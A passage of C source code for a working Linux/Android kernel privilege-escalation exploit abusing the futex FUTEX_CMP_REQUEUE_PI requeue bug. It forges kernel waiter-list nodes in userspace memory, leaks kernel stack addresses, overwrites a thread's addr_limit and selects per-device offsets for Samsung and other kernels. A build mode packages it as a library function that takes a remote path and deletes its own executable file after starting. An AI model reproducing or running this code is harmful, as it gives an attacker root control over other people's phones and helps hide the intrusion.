  *((unsigned long *)(hacked_node_alt + 0x24)) = hacked_node_alt;     // prio_list->prev
  *((unsigned long *)(hacked_node_alt + 0x2c)) = hacked_node_alt + 8; // node_list->prev

  // Alternative list

  *((unsigned long *)(hacked_node - 4)) = 0x81;
  *((unsigned long *) hacked_node) = hacked_node + 0x20;
  *((unsigned long *)(hacked_node + 8)) = hacked_node + 0x28;

  *((unsigned long *)(hacked_node + 0x1c)) = 0x85;
  *((unsigned long *)(hacked_node + 0x24)) = hacked_node;
  *((unsigned long *)(hacked_node + 0x2c)) = hacked_node + 8;

}

void reset_hacked_list(unsigned long hacked_node) {
  
  *((unsigned long *)(hacked_node - 4)) = 0x81;
  *((unsigned long *) hacked_node) = hacked_node + 0x20;
  *((unsigned long *)(hacked_node + 8)) = hacked_node + 0x28;

  *((unsigned long *)(hacked_node + 0x1c)) = 0x85;
  *((unsigned long *)(hacked_node + 0x24)) = hacked_node;
  *((unsigned long *)(hacked_node + 0x2c)) = hacked_node + 8;

}


void *trigger(void *arg) {
  int ret;
  unsigned long readval;
  pid_t pid;
  int i, k;
  char buf[0x1000];
  int tid_counter = 0;
  unsigned int addr, setaddr;

  setpriority(PRIO_PROCESS, 0, 5);

  LOGD("[TRIGGER] Trigger pid %x\n", gettid());

  // Acquire lock2 so when the thread will be requeued from lock1 to lock2 will be put in the queue
  syscall(__NR_futex, &lock2, FUTEX_LOCK_PI, 1, 0, NULL, 0);
  
  // Now requeue the stack_modifier thread from lock1 to lock2
  while (1) {
    ret = syscall(__NR_futex, &lock1, FUTEX_CMP_REQUEUE_PI, 1, 0, &lock2, lock1);
    if (ret == 1) {
      LOGD("[TRIGGER] Stack modifier requeued\n");
      break;
    }
    usleep(10);
  }
 
  // Add a couple of waiters in the vulnerable kernel list

  wake_actionthread(3);
  pid6 = wake_actionthread(6);
  pid7 = wake_actionthread(7);

  // Now lock2 has this wait list: |6|<->|7|<->|12|

  lock2 = 0;

  // Trigger the vulnerability: requeue the stack modifier from lock2 to lock2
  syscall(__NR_futex, &lock2, FUTEX_CMP_REQUEUE_PI, 1, 0, &lock2, lock2);

  // If everything went as expected at this point the stack modifier is going tu use a syscall to modify
  // the wait list for lock2

  // Be sure he finished
  sleep(2);

  // Now the new wait_list for lock2 should be: |6|<->|7|<->|-1..|<->hacked_list
  
  // We can now start the list manipulation creating new node controlled by us
  // We build two chain: hacked_node and hacked_node_alt
  // Sometime the alignament of iovstack could be different so prio_list->next and prio_list->prev
  // could be switched. 

  create_hacked_list(hacked_node, hacked_node_alt);

  // Now the new wait_list for lock2 should be: |6|<->|7|<->|-1..|<->|9|<->|13|
  // with waiters with prio 9 and 13 in our userspace

  // Lets do something of interesting. Add a waiter and check wich list we are using.

  readval = *((unsigned long *)hacked_node);
  tid_11 = wake_actionthread(11);

  if (*((unsigned long *)hacked_node) == readval) {
    LOGD("[TRIGGER] Using hacked_node_alt.\n");
    hacked_node = hacked_node_alt;
  }

  // Is it patched?
  if (*((unsigned long *)hacked_node) == readval) {
    LOGD("[TRIGGER] Device seams to be patched.\n");
    send_pipe_msg(ERROR);
    exit(-1);
  }

  // Save the waiter address
  t11 = *((unsigned long *)hacked_node);

  // Try to find a thred we can hack
  for(k=0; k<20; k++)  {

    is_kernel_writing = (pthread_mutex_t *)malloc(4);
    pthread_mutex_init(is_kernel_writing, NULL);

    // Reset the hacked list
    reset_hacked_list(hacked_node);
    
    // Leak a kernel stack pointer (a new created waiter)
    pid = wake_actionthread(11);
    
    // Now we have the pointer of a waiter allocated on the stack. We can calculate the
    // thread_info struct in the kernel for that last called thread
    first_kstack_base = leaker_kstack_base = *((unsigned long *)hacked_node) & 0xffffe000;

    LOGD("[TRIGGER] Send a signal to the first evil thread\n");
    pthread_mutex_lock(&is_thread_awake_lock);
    
    kill(pid, 12);

    pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock);
    pthread_mutex_unlock(&is_thread_awake_lock);
    LOGD("[TRIGGER] First evil thread is now waiting\n");

    sleep(1);
  
    LOGD("[TRIGGER] First kernel stack base found at 0x%x\n", (unsigned int) first_kstack_base);

    // Samsung exploitation
    if(current_cfg->is_samsung) {
      LOGD("[TRIGGER] Starting samsung...\n");
      addr = (unsigned long)mmap((unsigned long *)0xbef000, 0x2000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
      
      LOGD("[TRIGGER] mmap done\n");
      if (addr != 0xbef000) {
    continue;
      }
      
      reset_hacked_list(0xbeffe0);
      reset_hacked_list(hacked_node);

      *((unsigned long *)0xbf0004) = first_kstack_base + current_cfg->offset + 1;
      *((unsigned long *)hacked_node) = 0xbf0000;

      // Keep trace of the pending waiters
      remove_pid[remove_counter] = wake_actionthread(10);

      readval = *((unsigned long *)0x00bf0004);

      remove_waiter[remove_counter] = readval;
      remove_counter++;

      munmap((unsigned long *)0xbef000, 0x2000);

      LOGD("[TRIGGER] First step done: %x\n", readval);

      readval <<= 8;      
      if (readval < KERNEL_START) {    
    setaddr = (readval - 0x1000) & 0xfffff000;
    addr = (unsigned long)mmap((unsigned long *)setaddr, 0x2000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);

    if (addr != setaddr) {
      continue;
    }
            
    reset_hacked_list(readval - 0x20);
    *((unsigned long *)(readval + 4)) = first_kstack_base + current_cfg->offset;
    *((unsigned long *)hacked_node) = readval;
    
    remove_pid[remove_counter] = wake_actionthread(10);

    readval = *((unsigned long *)(readval + 4));
     // Save the waiter address
    remove_waiter[remove_counter] = readval;
    remove_counter++;

    munmap((unsigned long *)setaddr, 0x2000);

    LOGD("[TRIGGER] Samsung done: %x\n", readval);
      }
    }
    else {
      reset_hacked_list(hacked_node);
      
      // Use the prev pointer to execute a write in kernel space (the thread addr_limit)
      *((unsigned long *)(hacked_node + 0x24)) = first_kstack_base + 8;

      tid_12 = wake_actionthread(12); // Will be in the user space hacked list

      readval = *((unsigned long *)(hacked_node + 0x24));
      LOGD("[TRIGGER] New first stack limit 0x%x\n", (unsigned int)readval);
      
      remove_pid[remove_counter] = tid_12;
      remove_waiter[remove_counter] = readval;
      remove_counter++;
    }

    // At this point we have a thread with an addr_limit = readval waiting to write something to us.
    // Try to create a new thread to be modified by the first one
    for(i = 0; i < loop_limit; i++) {
      reset_hacked_list(hacked_node);
      pid = wake_actionthread(10); // Will be in the user space hacked list

      LOGD("[TRIGGER] Found value 0x%x with tid %d\n", (unsigned int) *((unsigned long *)hacked_node), pid);
      // Be sure the first can modify the second one
      if (*((unsigned long *)hacked_node) < readval) {
    
    #ifdef DEBUG
    for(k = 0; k < remove_counter; k++) {
      LOGD("[TRIGGER] Remove tid %d with waiter %x\n", remove_pid[k], (unsigned int) remove_waiter[k]);      
    }
    #endif

    final_kstack_base = *((unsigned long *)hacked_node) & 0xffffe000;
    LOGD("[TRIGGER] Found a good thread to hack: 0x%x\n", (unsigned int) final_kstack_base);
    LOGD("[TRIGGER] Current hacked_node %x\n", (unsigned int) hacked_node);

    pthread_mutex_lock(&is_thread_awake_lock);
    
    kill(pid, 12);
    
    pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock);
    pthread_mutex_unlock(&is_thread_awake_lock);
    
    sleep(2);

    reset_hacked_list(hacked_node);
    // Now we have a thread waiting to write something in the second thread.
    // The second thread is waiting to receive a signal by the first one

    // Tell the first thread to hack the second one
    write(HACKS_fdm, buf, 0x1000);

    while (1) {
      sleep(10);
    }
      }
      if(current_cfg->force_remove) {
    // Trace the pending waiters
    remove_pid[remove_counter] = pid;
    remove_waiter[remove_counter] = *((unsigned long *)hacked_node);
    remove_counter++;
      }
    }
  }
  stop_for_error();
}






/**************/
/*** MAIN *****/
/**************/

/// REMOTE and LIB: exploit as function
#ifndef LOCAL
int waiter_exploit_get_root(char *rcs_path, char *exp_path) {
  pthread_t l1, l2, l3;
  int ret = 0;

  memset(rcs, 0, sizeof(rcs));
  if(rcs_path)
    strncpy(rcs, rcs_path, sizeof(rcs));
///////////////////////////////////////    

/// LOCAL: exploit as executable
#else
int main(int argc, char **argv) {
pthread_t l1, l2, l3;

  if(argc < 2)
    return -1;
#endif

  // Check if we are trying to exploit a supported device
  switch(waiter_exploit_check_exploitability()) {
  case NO_SUPPORT:
    LOGD("[TOWEL] Device not supported.... exiting!\n");
    exit(0);
    break;

  case DEFAULT:
    LOGD("[TOWEL] Default device detected!\n");
    current_cfg = &default_kernel;
    break;

  case SAMSUNG:
    LOGD("[TOWEL] Samsung device detected!\n");
    current_cfg = &samsung_kernel;
    break;

  case SAMSUNG_OLD:
    LOGD("[TOWEL] Samsung old device detected!\n");
    current_cfg = &samsung_old_kernel;
    break;

  case SAM_GRAND:
    LOGD("[TOWEL] Samsung grand device detected!\n");
    current_cfg = &sam_grand_kernel;
    break;

  case GOLDFISH:
    LOGD("[TOWEL] Goldfish emulator detected!\n");
    current_cfg = &goldfish_kernel;
    break;

  case TEST:
    LOGD("[TOWEL] Test config detected!\n");
    current_cfg = &test_kernel;
    break;
   
  default:
    exit(0);
  }

#ifdef LOCAL
  memset(shell_server, 0, sizeof(shell_server));
  strncpy(shell_server, argv[1], sizeof(shell_server));
#endif

  pipe(pipe_fd);

  if(fork() != 0) {
    return start_pipe_server();
  }

  sleep(2);
  close(pipe_fd[0]);

  // First we create two possible hacked list of waiters.

  addr = (unsigned long)mmap((void *)0xa0000000, 0x110000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
  addr += 0x800;
  hacked_node = addr;
  if ((long)addr >= 0) {
    LOGD("[TOWEL] first mmap failed?\n");
    send_pipe_msg(ERROR);
    exit(-1);
  }  

  addr = (unsigned long)mmap((void *)0x100000, 0x110000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
  addr += 0x800;
  hacked_node_alt = addr;
  if (addr > 0x110000) {
    LOGD("[TOWEL] second mmap failed?\n");
    send_pipe_msg(ERROR);
    exit(-1);
  }

  // Start the socket server we will use to hook inside the sendmmsg syscall

  LOGD("[TOWEL] Creating socket\n");
  pthread_create(&l1, NULL, accept_socket, NULL);

  sleep(1);

  LOGD("[TOWEL] Starting exploitation\n");

#ifndef LOCAL
  if(exp_path)
    remove(exp_path);
#endif

  pthread_mutex_lock(&done_lock);
  pthread_create(&l2, NULL, stack_modifier, NULL);
  pthread_create(&l3, NULL, trigger, NULL);  
  pthread_cond_wait(&done, &done_lock);

  LOGD("[TOWEL] All Done, exiting PID %d\n", getpid());
  send_pipe_msg(ALL_DONE);
  sleep(1);

  exit(0);
}